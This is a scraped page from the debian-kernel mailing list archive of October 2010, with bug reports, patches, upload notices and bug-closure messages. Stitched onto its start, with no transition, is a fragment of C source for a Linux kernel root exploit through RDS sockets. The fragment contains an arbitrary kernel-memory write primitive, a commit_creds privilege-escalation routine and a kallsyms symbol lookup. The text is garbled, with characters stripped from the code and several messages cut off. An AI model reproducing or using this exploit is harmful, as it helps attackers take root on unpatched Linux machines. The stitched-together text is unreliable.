* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
#include stdio.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include errno.h
#include string.h
#include sys/ptrace.h
#include sys/utsname.h
#define RECVPORT
#define SENDPORT
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s 0) {
printf([*] Could not open socket.\n);
exit(-1);
}
memset(addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr(127.0.0.1);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)addr, sizeof(addr));
if(ret 0) {
printf([*] Could not bind socket.\n);
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr(127.0.0.1);
memset(msg, 0, sizeof(msg));
msg.msg_name = recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = buf;
msg.msg_iov = iov;
ret = sendmsg(sock, msg, 0);
if(ret 0) {
printf([*] Something went wrong sending.\n);
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen(/proc/kallsyms, r);
if (f == NULL) {
f = fopen(/proc/ksyms, r);
if (f == NULL)
goto fallback;
oldstyle = 1;
}
Incomplete upload found in Debian upload queue
Probably you are the uploader of the following file(s) in the Debian upload queue directory: linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc This looks like an upload, but a .changes file is missing, so the job cannot be processed. If no .changes file arrives within 23:27:59, the files will be deleted. If you didn't upload those files, please just ignore this message. Greetings, Your Debian queue daemon (running on host franck.debian.org) -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/e1p8ior-0008ey...@franck.debian.org
Bug#600453: (no subject)
* maximilian attems m...@stro.at [2010-10-19 19:36]: Warning: /etc/fstab parse error; guessing that the root device is /dev/sda2 well update-initramfs does not parse fstab this is probably flash-kernel? (adding tbm to cc, for him to check) Yes, this is flash-kernel. The /etc/fstab doesn't contain any entry for /, so the /etc/fstab is not valid. -- Martin Michlmayr http://www.cyrius.com/ -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101019210346.gc12...@jirafa.cyrius.com
Bug#595265: linux-image-2.6.32-5-686: Nerwork card fails to come up again after suspend
Ben Hutchings b...@decadent.org.uk : [...] Arnout Boelens reported that his RTL8111/8168B fails to link-up after suspend and resume, both under Debian's kernel based on 2.6.32 and under 2.6.36-rc6. Full details are at http://bugs.debian.org/595265, though the log isn't very informative: [31837.396594] PM: Finishing wakeup. [31837.396597] Restarting tasks ... done. [31840.267267] r8169: eth0: link down Can you suggest how to investigate this further? Something like the patch made by Stanislaw at : https://bugzilla.redhat.com/show_bug.cgi?id=502974 -- Ueimor -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101018214536.ga14...@electric-eye.fr.zoreil.com
Processing of linux-2.6_2.6.32-26_i386.changes
linux-2.6_2.6.32-26_i386.changes uploaded successfully to localhost along with the files: linux-2.6_2.6.32-26.dsc linux-2.6_2.6.32-26.diff.gz linux-doc-2.6.32_2.6.32-26_all.deb linux-manual-2.6.32_2.6.32-26_all.deb linux-patch-debian-2.6.32_2.6.32-26_all.deb linux-source-2.6.32_2.6.32-26_all.deb linux-support-2.6.32-5_2.6.32-26_all.deb firmware-linux-free_2.6.32-26_all.deb linux-base_2.6.32-26_all.deb linux-image-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-image-2.6.32-5-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-686_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-common_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686-dbg_2.6.32-26_i386.deb linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb linux-headers-2.6.32-5-all_2.6.32-26_i386.deb linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb linux-libc-dev_2.6.32-26_i386.deb linux-tools-2.6.32_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686-bigmem-dbg_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb linux-image-2.6.32-5-xen-686_2.6.32-26_i386.deb linux-image-2.6.32-5-xen-686-dbg_2.6.32-26_i386.deb linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb xen-linux-system-2.6.32-5-xen-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb Greetings, Your Debian queue daemon (running on host franck.debian.org) -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/e1p8k3a-0006bf...@franck.debian.org
Bug#595265: linux-image-2.6.32-5-686: Nerwork card fails to come up again after suspend
Eric Dumazet eric.duma...@gmail.com :
Le lundi 18 octobre 2010 à 23:45 +0200, Francois Romieu a écrit :
[...]
Something like the patch made by Stanislaw at :
https://bugzilla.redhat.com/show_bug.cgi?id=502974
Seems to be down at this moment, patch is also here (and included in
2.6.36-rc8 ) :
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=aeb19f6052b5e5c8a24aa444fbff73b84341beac
It's from the same author but it is not included in 2.6.36-stg yet :
Subject: [PATCH] r8169 init phy when resume
For unknown reasons some r8169 devices after resume operate at
100 Mb/s speed instead of 1000 Mb/s like before suspend. To fix
reset phy during resume.
Signed-off-by: Stanislaw Gruszka sgrus...@redhat.com
---
drivers/net/r8169.c |3 +++
1 files changed, 3 insertions(+), 0 deletions(-)
diff --git a/drivers/net/r8169.c b/drivers/net/r8169.c
index 17382c3..a4ce127 100644
--- a/drivers/net/r8169.c
+++ b/drivers/net/r8169.c
@@ -4847,6 +4847,9 @@ static int rtl8169_resume(struct device *device)
{
struct pci_dev *pdev = to_pci_dev(device);
struct net_device *dev = pci_get_drvdata(pdev);
+ struct rtl8169_private *tp = netdev_priv(dev);
+
+ rtl8169_init_phy(dev, tp);
if (!netif_running(dev))
goto out;
--
1.7.1
--
To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive:
http://lists.debian.org/20101019230647.ga17...@electric-eye.fr.zoreil.com
Bug#600660: linux-2.6: Please revert patch for USB54Gs wireless device
Please can you both test a new version of the rndis_host driver, which should work for both the 2Wire HomePortal device and the USB54Gs devices. You can either: 1. Build the kernel from the 'sid' branch in svn, following the directions at http://kernel-handbook.alioth.debian.org/ch-common-tasks.html#s-common-official. 2. Use the binary module from http://people.debian.org/~benh/rndis_host.ko. This is built for the '686' kernel flavour which I believe you are both using. My signature on this is http://people.debian.org/~benh/rndis_host.ko.asc. To test this, run: rmmod rndis_wlan rmmod rndis_host insmod rndis_host.ko modprobe rndis_wlan Ben. -- Ben Hutchings Once a job is fouled up, anything done to improve it makes it worse. signature.asc Description: This is a digitally signed message part
Processed: tagging 600660
Processing commands for cont...@bugs.debian.org: tags 600660 + moreinfo Bug #600660 [linux-2.6] linux-2.6: Please revert patch for USB54Gs wireless device Added tag(s) moreinfo. thanks Stopping processing here. Please contact me if you need assistance. -- 600660: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600660 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/handler.s.c.12875296782345.transcr...@bugs.debian.org
Bug#596772: marked as done (openvz kernel seems not to have ioprio configured)
Your message dated Tue, 19 Oct 2010 23:14:30 + with message-id e1p8lo2-0005tn...@franck.debian.org and subject line Bug#596772: fixed in linux-2.6 2.6.32-26 has caused the Debian Bug report #596772, regarding openvz kernel seems not to have ioprio configured to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 596772: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=596772 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems ---BeginMessage--- Package: linux-2.6 Version: 2.6.32-21 Severity: important Squeeze Openvz does not allow to start a container with a configured IOPRIO variable ( http://wiki.openvz.org/Ioprio ). Once the variable has commented out or removed the container can be started. There is a possibility that vzctl has lost its capability to handle ioprio correctly but I don't know of a way of verifying. # vzctl set 102 --ioprio 2 --save Saved parameters for CT 102 # grep IOPRIO /etc/vz/conf/102.conf IOPRIO=2 # vzctl start 102 Starting container ... Container is mounted Adding IP address(es): x.x.x.102 Setting CPU units: 1000 Warning: ioprio feature is not supported by kernel. skipped ioprio configure Container start failed Stopping container ... Container was stopped Container is unmounted -- Package-specific info: ** Version: Linux version 2.6.32-5-openvz-686 (Debian 2.6.32-21) (b...@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-2) ) #1 SMP Wed Aug 25 16:19:28 UTC 2010 -- System Information: Debian Release: squeeze/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.32-5-openvz-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages linux-image-2.6.32-5-openvz-686 depends on: ii debconf [debconf-2.0] 1.5.35 Debian configuration management sy ii initramfs-tools [linux-initra 0.98.1 tools for generating an initramfs ii linux-base2.6.32-21 Linux image base package ii module-init-tools 3.12-1 tools for managing Linux kernel mo ii vzctl 3.0.24-3 server virtualization solution - c Versions of packages linux-image-2.6.32-5-openvz-686 recommends: ii firmware-linux-free 2.6.32-21 Binary firmware for various driver ii libc6-i6862.11.2-2 GNU C Library: Shared libraries [i Versions of packages linux-image-2.6.32-5-openvz-686 suggests: pn grub | lilo none (no description available) pn linux-doc-2.6.32 none (no description available) Versions of packages linux-image-2.6.32-5-openvz-686 is related to: pn firmware-bnx2 none (no description available) pn firmware-bnx2xnone (no description available) pn firmware-ipw2x00 none (no description available) pn firmware-ivtv none (no description available) pn firmware-iwlwifi none (no description available) pn firmware-linuxnone (no description available) pn firmware-linux-nonfreenone (no description available) pn firmware-qlogic none (no description available) pn firmware-ralink none (no description available) pn xen-hypervisornone (no description available) -- debconf information: linux-image-2.6.32-5-openvz-686/postinst/ignoring-do-bootloader-2.6.32-5-openvz-686: linux-image-2.6.32-5-openvz-686/postinst/missing-firmware-2.6.32-5-openvz-686: linux-image-2.6.32-5-openvz-686/postinst/depmod-error-initrd-2.6.32-5-openvz-686: false linux-image-2.6.32-5-openvz-686/prerm/removing-running-kernel-2.6.32-5-openvz-686: true ---End Message--- ---BeginMessage--- Source: linux-2.6 Source-Version: 2.6.32-26 We believe that the bug you reported is fixed in the latest version of linux-2.6, which is due to be installed in the Debian FTP archive: firmware-linux-free_2.6.32-26_all.deb to main/l/linux-2.6/firmware-linux-free_2.6.32-26_all.deb linux-2.6_2.6.32-26.diff.gz to main/l/linux-2.6/linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc to main/l/linux-2.6/linux-2.6_2.6.32-26.dsc linux-base_2.6.32-26_all.deb to main/l/linux-2.6/linux-base_2.6.32-26_all.deb linux-doc-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-doc-2.6.32_2.6.32-26_all.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to
Bug#600299: marked as done (linux-image-2.6.32-5-openvz-amd64: Openvz kernels appear to log unitialised memory to the console with log_buf_len=XX)
Your message dated Tue, 19 Oct 2010 23:14:30 + with message-id e1p8lo2-0005tw...@franck.debian.org and subject line Bug#600299: fixed in linux-2.6 2.6.32-26 has caused the Debian Bug report #600299, regarding linux-image-2.6.32-5-openvz-amd64: Openvz kernels appear to log unitialised memory to the console with log_buf_len=XX to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 600299: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600299 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems ---BeginMessage--- Package: linux-2.6 Version: 2.6.32-23 Severity: normal When passing log_buf_len=2M to the kernel, the kernel logs nulls, or other aparently unitialised RAM to the console, and netconsole. Checked on: lenny 2.6.26-openvz amd64 (Dell PE300) lenny 2.6.32-openvz-bp amd64 (Dell PE300) squeeze 2.6.32-openvz i386 (under kvm) Make debugging other kernel issues difficult :-( -- Package-specific info: ** Version: Linux version 2.6.32-5-openvz-amd64 (Debian 2.6.32-23) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-3) ) #1 SMP Fri Sep 17 21:53:51 UTC 2010 ---End Message--- ---BeginMessage--- Source: linux-2.6 Source-Version: 2.6.32-26 We believe that the bug you reported is fixed in the latest version of linux-2.6, which is due to be installed in the Debian FTP archive: firmware-linux-free_2.6.32-26_all.deb to main/l/linux-2.6/firmware-linux-free_2.6.32-26_all.deb linux-2.6_2.6.32-26.diff.gz to main/l/linux-2.6/linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc to main/l/linux-2.6/linux-2.6_2.6.32-26.dsc linux-base_2.6.32-26_all.deb to main/l/linux-2.6/linux-base_2.6.32-26_all.deb linux-doc-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-doc-2.6.32_2.6.32-26_all.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb linux-headers-2.6.32-5-all_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all_2.6.32-26_i386.deb linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb linux-headers-2.6.32-5-common_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common_2.6.32-26_i386.deb linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb linux-image-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-486_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686_2.6.32-26_i386.deb linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-openvz-686-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686-bigmem-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-vserver-686-bigmem-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to
Bug#600305: marked as done (linux-image-2.6.32-5-amd64: MacBookPro 7, 1 mcp89 sata link reset fails, no disks detected during install process)
Your message dated Tue, 19 Oct 2010 23:14:30 + with message-id e1p8lo2-0005u4...@franck.debian.org and subject line Bug#600305: fixed in linux-2.6 2.6.32-26 has caused the Debian Bug report #600305, regarding linux-image-2.6.32-5-amd64: MacBookPro 7, 1 mcp89 sata link reset fails, no disks detected during install process to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 600305: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600305 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems ---BeginMessage--- Package: linux-image-2.6.32-5-amd64 Version: 2.6.32-23 Severity: normal The chipset nvidia mcp89 used in apple 2010 macbookpro is not properly configured by debian installer. This block the installation process. This bug has been reported and fixed on launchpad.net, see bug #576601. A patch has been created by Iwamatsu and can be found here: http://www.nigauri.org/~iwamatsu/trash/macbook71.patch Iwamatsu said in his patch: For some reason, MCP89 on MacBook 7,1 doesn't work with ahci, use ata_generic instead. This bug has been reported from an ubuntu-lucid install due to this incompatibility of current debian kernel. -- System Information: Debian Release: squeeze/sid APT prefers lucid-updates APT policy: (500, 'lucid-updates'), (500, 'lucid-security'), (500, 'lucid-backports'), (500, 'lucid') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-25-generic (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash ---End Message--- ---BeginMessage--- Source: linux-2.6 Source-Version: 2.6.32-26 We believe that the bug you reported is fixed in the latest version of linux-2.6, which is due to be installed in the Debian FTP archive: firmware-linux-free_2.6.32-26_all.deb to main/l/linux-2.6/firmware-linux-free_2.6.32-26_all.deb linux-2.6_2.6.32-26.diff.gz to main/l/linux-2.6/linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc to main/l/linux-2.6/linux-2.6_2.6.32-26.dsc linux-base_2.6.32-26_all.deb to main/l/linux-2.6/linux-base_2.6.32-26_all.deb linux-doc-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-doc-2.6.32_2.6.32-26_all.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb linux-headers-2.6.32-5-all_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all_2.6.32-26_i386.deb linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb linux-headers-2.6.32-5-common_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common_2.6.32-26_i386.deb linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb linux-image-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-486_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686_2.6.32-26_i386.deb linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686-dbg_2.6.32-26_i386.deb to
Bug#600384: marked as done (dm-crypt: please backport support for plain64 IV)
Your message dated Tue, 19 Oct 2010 23:14:31 + with message-id e1p8lo3-0005up...@franck.debian.org and subject line Bug#600384: fixed in linux-2.6 2.6.32-26 has caused the Debian Bug report #600384, regarding dm-crypt: please backport support for plain64 IV to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 600384: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600384 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems ---BeginMessage--- Package: linux-2.6 Version: 2.6.32-25 Severity: important Please backport commit 61afef614b013ee1b767cdd10325acae1db1f4d2 dm crypt: add plain64 iv from upstream. It should be a clean cherry-pick. Without it, Debian squeeze users might not be able to use dm-crypt volumes created on newer kernels using *-xts-plain64, nor will be able to create such volumes. Using plain for IVs on block devices with more than 2^32 blocks will cause the same IV to be used twice due to roll-over. This is not a good thing, although it might be not bad enough to matter much (or it could be a terrible problem. Someone who groks crypto for real would have to answer that). One cannot fix the plain IV to not warp at 2^32, or data after the roll-over point becomes unreadable on any already-existing devices. Thus, the only solution was to add a new IV (plain64). For devices smaller than 2^32 512 byte blocks, plain and plain64 are equivalent. Userspace and docs are already beggining to tell users to use aes-xts-plain64 and not aes-xts-plain. They will use them in their portable HDs, possibly on other distros, and then will not be able to read them back in squeeze. -- System Information: Debian Release: squeeze/sid APT prefers testing APT policy: (500, 'testing'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32.23 (SMP w/8 CPU cores) Locale: LANG=pt_BR.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash ---End Message--- ---BeginMessage--- Source: linux-2.6 Source-Version: 2.6.32-26 We believe that the bug you reported is fixed in the latest version of linux-2.6, which is due to be installed in the Debian FTP archive: firmware-linux-free_2.6.32-26_all.deb to main/l/linux-2.6/firmware-linux-free_2.6.32-26_all.deb linux-2.6_2.6.32-26.diff.gz to main/l/linux-2.6/linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc to main/l/linux-2.6/linux-2.6_2.6.32-26.dsc linux-base_2.6.32-26_all.deb to main/l/linux-2.6/linux-base_2.6.32-26_all.deb linux-doc-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-doc-2.6.32_2.6.32-26_all.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb linux-headers-2.6.32-5-all_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all_2.6.32-26_i386.deb linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb linux-headers-2.6.32-5-common_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common_2.6.32-26_i386.deb linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb 